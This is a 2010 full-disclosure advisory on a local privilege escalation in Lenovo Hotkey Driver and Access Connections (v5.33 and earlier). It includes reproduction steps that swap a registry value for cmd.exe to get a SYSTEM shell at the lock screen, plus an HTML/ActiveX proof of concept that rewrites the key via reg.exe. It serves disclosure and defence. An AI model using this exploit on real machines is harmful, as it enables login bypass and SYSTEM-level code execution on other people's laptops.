Lenovo Hotkey Driver 5.33 – Local Privilege Escalation
Author: Chilik Tamir - Amdocs Power Security Testing Group Website: http://invalid-packet.blogspot.com/2010/03/full-disclosure-security-vulnerability.html Subject: Security vulnerability <Privilege escalation> in Lenovo Hotkey Driver and Access Connections version <=v5.33 Impact: A privilege escalation attack can be used as a backdoor to bypass login and run arbitrary code as a System user on Lenovo or Thinkpad laptops running Access Connection v5.33 and earlier versions (tracked back to version 4) Technical details: � The Hotkey Driver is an Lenovo application that monitors the Lenovo special Hotkeys (Fn keys) and execute Lenovo specified applications upon their invocation. � The default installation of the Hotkey Driver is as a service and runs under NT Authority\System privileges. � Upon hot key detection, the Hotkey driver checks the registry key for the specified file to lunch and evokes that file, as example When the Fn + F5 key combination is pressed the Hotkey driver checks the registry key named File at HKEY_LOCAL_MACHINE\SOFTWARE\IBM\TPHOTKEY\CLASS\01\05 for its value and then launches the specified application (by default, Tp/AcFnF5.exe). � The Hotkey driver is available even prior to Windows login due to its installation configuration. � The value of the registry key to be lunched is not verified at invocation time. � This key is not monitored by the operating system and any change to this key is undetected. � An attacker with restricted access to the registry can use this information to launch a targeted attack on Lenovo or Thinkpad users that changes this key into an arbitrary application that runs with System permission. Reproduce: Using the target laptop change the File registry key value at HKEY_LOCAL_MACHINE\SOFTWARE\IBM\TPHOTKEY\CLASS\01\05 from 'Tp/AcFnF5.exe' to 'cmd.exe'. Lock the station ('Windows' + 'L'). Press 'Fn'+'F5' and a windows command prompt opens with System privilege. Mitigation: Please update Hotkey Driver and Access connection to the most updated version (link here) at Lenovo website Exploit example: This html exploit code uses ActiveX to hijack the Access connection hot key. (Please run on a Virtualized environment). -----------code starts here---------- <head> <script language="javaScript" type="text/javascript"> myobject = new ActiveXObject("WScript.Shell") function install() { uri="HKEY_LOCAL_MACHINE\\SOFTWARE\\IBM\\TPHOTKEY\\CLASS\\01\\05"; tag="\\" var value="File"; var data="cmd.exe"; myobject.run("reg.exe"+" copy "+uri+" "+uri+"\\backup "+" /f "); myobject.run("reg.exe"+" ADD "+uri+" /v "+value+" /d "+data+" /f "); value="Parameters"; data="/T:74"; myobject.run("reg.exe"+" ADD "+uri+" /v "+value+" /d "+data+" /f "); } function remove() { uri="HKEY_LOCAL_MACHINE\\SOFTWARE\\IBM\\TPHOTKEY\\CLASS\\01\\05"; myobject.run("reg.exe"+" copy "+uri+"\\backup "+uri+" /f "); } </script> </head><body> <h1>Lenovo Access Connection Exploite POC<h1> <button onclick="install()">Install RootKit</button><P><button onclick="remove()">Remove RootKit</button> </body></html> ---------code ends here------------ |